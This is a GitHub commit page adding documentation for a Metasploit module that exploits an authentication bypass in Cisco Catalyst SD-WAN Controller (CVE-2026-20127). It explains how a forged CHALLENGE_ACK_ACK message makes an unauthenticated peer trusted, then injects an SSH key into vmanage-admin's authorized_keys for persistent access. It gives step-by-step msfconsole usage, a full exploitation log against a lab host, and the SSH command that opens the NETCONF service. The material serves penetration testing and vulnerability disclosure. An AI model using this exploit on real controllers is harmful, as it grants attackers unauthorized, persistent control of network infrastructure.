Skip to content

Commit 0f15636

Browse files
jheysel-r7jheysel-r7
authored
Merge pull request #21158 from sfewer-r7/CVE-2026-20127
Add auxiliary module for Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability (CVE-2026-20127)
2 parents aee4762 + aa84007 commit 0f15636

File tree

2 files changed

+931
-0
lines changed

2 files changed

+931
-0
lines changed

‎documentation/modules/auxiliary/admin/networking/cisco_sdwan_auth_bypass.md‎

Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
## Vulnerable Application
2+
3+
This module exploits CVE-2026-20127, an authentication bypass vulnerability in the Cisco Catalyst SD-WAN Controller
4+
(vSmart). The vulnerability exists in the vdaemon DTLS control-plane service running on UDP port 12346.
5+
6+
The vdaemon service fails to properly validate the `verify_status` byte in `CHALLENGE_ACK_ACK` (msg_type=10) messages.
7+
The `vbond_proc_challenge_ack_ack()` handler reads an attacker-controlled `verify_status` byte from the message body and,
8+
if non-zero, sets the peer's authenticated flag to 1. Furthermore, the authentication gate in `vbond_proc_msg()` exempts
9+
msg_type=10 from authentication checks, allowing an unauthenticated peer to send this message.
10+
11+
An attacker can:
12+
1. Connect via DTLS 1.2 using a self-signed certificate (the server performs no certificate validation at the handshake stage)
13+
2. Skip the `CHALLENGE_ACK` step entirely
14+
3. Send a forged `CHALLENGE_ACK_ACK` message with `verify_status=1` to become a trusted peer without any legitimate credentials
15+
16+
Once authenticated, the module leverages a `VMANAGE_TO_PEER` message to inject an SSH public key into the
17+
`/home/vmanage-admin/.ssh/authorized_keys` file, providing persistent SSH access to the controller's NETCONF service
18+
on port 830.
19+
20+
### Affected Versions
21+
22+
The vulnerability affects Cisco Catalyst SD-WAN Controller (vSmart) versions prior to the patches released in February 2026.
23+
Consult [Cisco's security advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk)
24+
for a complete list of affected versions and patches.
25+
26+
## Verification Steps
27+
28+
1. Start `msfconsole`
29+
2. `use auxiliary/admin/networking/cisco_sdwan_auth_bypass`
30+
3. `set RHOST <target_ip>`
31+
4. Optionally, `set DOMAIN_ID <domain_id>` and `set SITE_ID <site_id>` if you know the target's SD-WAN topology
32+
5. `check` to verify the target is vulnerable
33+
6. `run` to exploit the vulnerability and inject an SSH public key
34+
7. Use the generated SSH private key to connect to the NETCONF service: `ssh -i <key_path> vmanage-admin@<target_ip> -p 830`
35+
36+
## Options
37+
38+
### DOMAIN_ID
39+
40+
The SD-WAN domain ID to use in protocol messages. Default: `1`.
41+
42+
This value must match the domain ID configured on the target controller. In most deployments, the default value of 1
43+
is used. If you receive a `TEAR_DOWN` message after sending `Hello`, try adjusting this value.
44+
45+
### SITE_ID
46+
47+
The SD-WAN site ID to use in protocol messages. Default: `100`.
48+
49+
This value identifies the site in the SD-WAN topology. The default value should work in most cases, but if the exploit
50+
fails, you may need to adjust this based on knowledge of the target's SD-WAN configuration.
51+
52+
### SSH_PUBLIC_KEY_FILE
53+
54+
Path to an existing SSH public key file (in OpenSSH format) to inject into the controller.
55+
56+
If not set, the module will automatically generate a new RSA 2048-bit SSH keypair. Using an existing key can be useful
57+
if you want to maintain access using a key you already control.
58+
59+
## Scenarios
60+
61+
### Cisco Catalyst SD-WAN Controller 20.15.3 (Default Configuration)
62+
63+
In this scenario, we target a vSmart controller with default settings. The module automatically generates an SSH keypair
64+
and injects the public key.
65+
66+
```
67+
msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) > show options
68+
69+
Module options (auxiliary/admin/networking/cisco_sdwan_auth_bypass):
70+
71+
Name Current Setting Required Description
72+
---- --------------- -------- -----------
73+
DOMAIN_ID 1 yes SD-WAN domain ID
74+
RHOSTS 192.168.86.166 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
75+
metasploit.html
76+
RPORT 12346 yes The target port (UDP)
77+
SITE_ID 100 yes SD-WAN site ID
78+
SSH_PUBLIC_KEY_FILE no Path to an existing SSH public key file to inject
79+
80+
81+
View the full module info with the info, or info -d command.
82+
83+
msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) > check
84+
[+] 192.168.86.166:12346 - The target is vulnerable. Authentication bypass succeeded - server accepted forged CHALLENGE_ACK_ACK
85+
msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) > run
86+
[*] Running module against 192.168.86.166
87+
[*] Phase 1: DTLS handshake with self-signed certificate
88+
[*] DTLS handshake succeeded (self-signed cert accepted)
89+
[*] Phase 2: Waiting for CHALLENGE from server
90+
[*] CHALLENGE received (580 bytes of challenge data)
91+
[*] Phase 3: Sending CHALLENGE_ACK_ACK with verify_status=1
92+
[*] Server Hello received
93+
[*] Phase 4: Sending Hello as authenticated peer
94+
[*] Hello response received - we are now a trusted peer
95+
[*] Phase 5: SSH key injection into vmanage-admin authorized_keys
96+
[*] Generating RSA 2048-bit SSH keypair
97+
[*] SSH private key saved to loot: /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem
98+
[+] Connect to NETCONF via:
99+
chmod 600 /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem
100+
ssh -i /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem vmanage-admin@192.168.86.166 -p 830
101+
[*] Server responded with: REGISTER_TO_VMANAGE (key has been injected)
102+
[+] Authentication bypass and SSH key injection completed!
103+
[*] Auxiliary module execution completed
104+
msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) >
105+
106+
```
107+
108+
Now we can use the generated SSH key to access the NETCONF service:
109+
110+
```console
111+
sfewer@sfewer-ubuntu-vm:~$ chmod 600 /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem
112+
sfewer@sfewer-ubuntu-vm:~$ ssh -i /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem vmanage-admin@192.168.86.166 -p 830
113+
viptela 20.15.3
114+
115+
<?xml version="1.0" encoding="UTF-8"?>
116+
<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
117+
<capabilities>
118+
<capability>urn:ietf:params:netconf:base:1.0</capability>
119+
<capability>urn:ietf:params:netconf:base:1.1</capability>
120+
<capability>urn:ietf:params:netconf:capability:confirmed-commit:1.1</capability>
121+
<capability>urn:ietf:params:netconf:capability:confirmed-commit:1.0</capability>
122+
<capability>urn:ietf:params:netconf:capability:candidate:1.0</capability>
123+
<capability>urn:ietf:params:netconf:capability:rollback-on-error:1.0</capability>
124+
<capability>urn:ietf:params:netconf:capability:url:1.0?scheme=ftp,sftp,file</capability>
125+
<capability>urn:ietf:params:netconf:capability:validate:1.0</capability>
126+
<capability>urn:ietf:params:netconf:capability:validate:1.1</capability>
127+
<capability>urn:ietf:params:netconf:capability:xpath:1.0</capability>
128+
<capability>urn:ietf:params:netconf:capability:notification:1.0</capability>
129+
<capability>urn:ietf:params:netconf:capability:interleave:1.0</capability>
130+
<capability>urn:ietf:params:netconf:capability:partial-lock:1.0</capability>
131+
<capability>urn:ietf:params:netconf:capability:with-defaults:1.0?basic-mode=trim&amp;also-supported=report-all-tagged,report-all</capability>
132+
<capability>urn:ietf:params:netconf:capability:with-operational-defaults:1.0?basic-mode=trim&amp;also-supported=report-all-tagged,report-all</capability>
133+
<capability>urn:ietf:params:netconf:capability:yang-library:1.0?revision=2019-01-04&amp;module-set-id=f1952c280658dd3701add48f1c71cbca</capability>
134+
<capability>urn:ietf:params:netconf:capability:yang-library:1.1?revision=2019-01-04&amp;content-id=f1952c280658dd3701add48f1c71cbca</capability>
135+
<capability>http://tail-f.com/ns/netconf/actions/1.0</capability>
136+
<capability>http://tail-f.com/ns/aaa/1.1?module=tailf-aaa&amp;revision=2023-04-13</capability>
137+
<capability>http://tail-f.com/ns/common/query?module=tailf-common-query&amp;revision=2017-12-15</capability>
138+
<capability>http://tail-f.com/ns/confd-progress?module=tailf-confd-progress&amp;revision=2020-06-29</capability>
139+
<capability>http://tail-f.com/ns/confd_dyncfg/1.0?module=confd_dyncfg&amp;revision=2023-09-29</capability>
140+
<capability>http://tail-f.com/ns/ietf-subscribed-notifications-deviation?module=ietf-subscribed-notifications-deviation&amp;revision=2020-06-25</capability>
141+
<capability>http://tail-f.com/ns/ietf-yang-push-deviation?module=ietf-yang-push-deviation</capability>
142+
<capability>http://tail-f.com/ns/kicker?module=tailf-kicker&amp;revision=2020-11-26</capability>
143+
<capability>http://tail-f.com/ns/mibs/IPV6-TC/199812010000Z?module=IPV6-TC&amp;revision=1998-12-01</capability>
144+
<capability>http://tail-f.com/ns/mibs/SNMP-COMMUNITY-MIB/200308060000Z?module=SNMP-COMMUNITY-MIB&amp;revision=2003-08-06</capability>
145+
<capability>http://tail-f.com/ns/mibs/SNMP-FRAMEWORK-MIB/200210140000Z?module=SNMP-FRAMEWORK-MIB&amp;revision=2002-10-14</capability>
146+
<capability>http://tail-f.com/ns/mibs/SNMP-MPD-MIB/200210140000Z?module=SNMP-MPD-MIB&amp;revision=2002-10-14</capability>
147+
<capability>http://tail-f.com/ns/mibs/SNMP-NOTIFICATION-MIB/200210140000Z?module=SNMP-NOTIFICATION-MIB&amp;revision=2002-10-14</capability>
148+
<capability>http://tail-f.com/ns/mibs/SNMP-TARGET-MIB/200210140000Z?module=SNMP-TARGET-MIB&amp;revision=2002-10-14</capability>
149+
<capability>http://tail-f.com/ns/mibs/SNMP-USER-BASED-SM-MIB/200210160000Z?module=SNMP-USER-BASED-SM-MIB&amp;revision=2002-10-16</capability>
150+
<capability>http://tail-f.com/ns/mibs/SNMP-VIEW-BASED-ACM-MIB/200210160000Z?module=SNMP-VIEW-BASED-ACM-MIB&amp;revision=2002-10-16</capability>
151+
<capability>http://tail-f.com/ns/mibs/SNMPv2-MIB/200210160000Z?module=SNMPv2-MIB&amp;revision=2002-10-16</capability>
152+
<capability>http://tail-f.com/ns/mibs/SNMPv2-SMI/1.0?module=SNMPv2-SMI</capability>
153+
<capability>http://tail-f.com/ns/mibs/SNMPv2-TC/1.0?module=SNMPv2-TC</capability>
154+
<capability>http://tail-f.com/ns/mibs/TRANSPORT-ADDRESS-MIB/200211010000Z?module=TRANSPORT-ADDRESS-MIB&amp;revision=2002-11-01</capability>
155+
<capability>http://tail-f.com/ns/netconf/query?module=tailf-netconf-query&amp;revision=2017-01-06</capability>
156+
<capability>http://tail-f.com/yang/acm?module=tailf-acm&amp;revision=2013-03-07</capability>
157+
<capability>http://tail-f.com/yang/common?module=tailf-common&amp;revision=2023-12-07</capability>
158+
<capability>http://tail-f.com/yang/common-monitoring?module=tailf-common-monitoring&amp;revision=2022-09-29</capability>
159+
<capability>http://tail-f.com/yang/common-monitoring2?module=tailf-common-monitoring2&amp;revision=2022-09-29</capability>
160+
<capability>http://tail-f.com/yang/confd-monitoring?module=tailf-confd-monitoring&amp;revision=2022-09-29</capability>
161+
<capability>http://tail-f.com/yang/confd-monitoring2?module=tailf-confd-monitoring2&amp;revision=2022-10-03</capability>
162+
<capability>http://tail-f.com/yang/last-login?module=tailf-last-login&amp;revision=2019-11-21</capability>
163+
<capability>http://tail-f.com/yang/netconf-monitoring?module=tailf-netconf-monitoring&amp;revision=2022-04-12</capability>
164+
<capability>http://tail-f.com/yang/xsd-types?module=tailf-xsd-types&amp;revision=2017-11-20</capability>
165+
<capability>http://viptela.com/aaa-ext?module=viptela-aaa-ext&amp;revision=2024-07-01</capability>
166+
<capability>http://viptela.com/actions?module=viptela-actions&amp;revision=2024-07-01</capability>
167+
<capability>http://viptela.com/clear?module=viptela-clear&amp;revision=2024-07-01</capability>
168+
<capability>http://viptela.com/common?module=viptela-common&amp;revision=2024-07-01</capability>
169+
<capability>http://viptela.com/debug?module=viptela-debug&amp;revision=2024-07-01</capability>
170+
<capability>http://viptela.com/devices?module=viptela-devices</capability>
171+
<capability>http://viptela.com/hardware?module=viptela-hardware&amp;revision=2024-07-01</capability>
172+
<capability>http://viptela.com/idmgr?module=viptela-idmgr&amp;revision=2024-07-01</capability>
173+
<capability>http://viptela.com/models?module=viptela-models</capability>
174+
<capability>http://viptela.com/omp?module=viptela-omp&amp;revision=2024-07-01</capability>
175+
<capability>http://viptela.com/oper-idmgr?module=viptela-oper-idmgr&amp;revision=2024-07-01</capability>
176+
<capability>http://viptela.com/oper-system?module=viptela-oper-system&amp;revision=2024-07-01</capability>
177+
<capability>http://viptela.com/oper-tenant?module=viptela-oper-tenant</capability>
178+
<capability>http://viptela.com/oper-vpn?module=viptela-oper-vpn&amp;revision=2024-07-01</capability>
179+
<capability>http://viptela.com/policy?module=viptela-policy&amp;revision=2024-07-01&amp;deviations=viptela-policy-deviation</capability>
180+
<capability>http://viptela.com/security?module=viptela-security&amp;revision=2024-07-01</capability>
181+
<capability>http://viptela.com/snmp?module=viptela-snmp&amp;revision=2024-07-01</capability>
182+
<capability>http://viptela.com/snmp-usm?module=viptela-snmp-usm&amp;revision=2024-07-01</capability>
183+
<capability>http://viptela.com/support?module=viptela-support&amp;revision=2024-07-01</capability>
184+
<capability>http://viptela.com/system?module=viptela-system&amp;revision=2024-07-01&amp;deviations=viptela-system-deviation</capability>
185+
<capability>http://viptela.com/tag-instance?module=viptela-tag-instance&amp;revision=2024-07-01</capability>
186+
<capability>http://viptela.com/tenant?module=viptela-tenant&amp;revision=2024-07-01</capability>
187+
<capability>http://viptela.com/timezones?module=viptela-timezones&amp;revision=2024-07-01</capability>
188+
<capability>http://viptela.com/viptela-clear-tenant?module=viptela-clear-tenant</capability>
189+
<capability>http://viptela.com/viptela-debug-tenant?module=viptela-debug-tenant</capability>
190+
<capability>http://viptela.com/viptela-global?module=viptela-global&amp;revision=2024-07-01</capability>
191+
<capability>http://viptela.com/vpn?module=viptela-vpn&amp;revision=2024-07-01</capability>
192+
<capability>urn:ietf:params:xml:ns:netconf:base:1.0?module=ietf-netconf&amp;revision=2011-06-01&amp;features=confirmed-commit,candidate,rollback-on-error,validate,xpath,url</capability>
193+
<capability>urn:ietf:params:xml:ns:netconf:partial-lock:1.0?module=ietf-netconf-partial-lock&amp;revision=2009-10-19</capability>
194+
<capability>urn:ietf:params:xml:ns:yang:iana-crypt-hash?module=iana-crypt-hash&amp;revision=2014-08-06&amp;features=crypt-hash-sha-512,crypt-hash-sha-256,crypt-hash-md5</capability>
195+
<capability>urn:ietf:params:xml:ns:yang:ietf-inet-types?module=ietf-inet-types&amp;revision=2013-07-15</capability>
196+
<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-acm?module=ietf-netconf-acm&amp;revision=2018-02-14</capability>
197+
<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-monitoring?module=ietf-netconf-monitoring&amp;revision=2010-10-04</capability>
198+
<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-notifications?module=ietf-netconf-notifications&amp;revision=2012-02-06</capability>
199+
<capability>urn:ietf:params:xml:ns:yang:ietf-netconf-with-defaults?module=ietf-netconf-with-defaults&amp;revision=2011-06-01</capability>
200+
<capability>urn:ietf:params:xml:ns:yang:ietf-restconf-monitoring?module=ietf-restconf-monitoring&amp;revision=2017-01-26</capability>
201+
<capability>urn:ietf:params:xml:ns:yang:ietf-x509-cert-to-name?module=ietf-x509-cert-to-name&amp;revision=2014-12-10</capability>
202+
<capability>urn:ietf:params:xml:ns:yang:ietf-yang-metadata?module=ietf-yang-metadata&amp;revision=2016-08-05</capability>
203+
<capability>urn:ietf:params:xml:ns:yang:ietf-yang-smiv2?module=ietf-yang-smiv2&amp;revision=2012-06-22</capability>
204+
<capability>urn:ietf:params:xml:ns:yang:ietf-yang-types?module=ietf-yang-types&amp;revision=2013-07-15</capability>
205+
</capabilities>
206+
<session-id>25</session-id></hello>]]>]]>
207+
```

0 commit comments

Comments
 (0)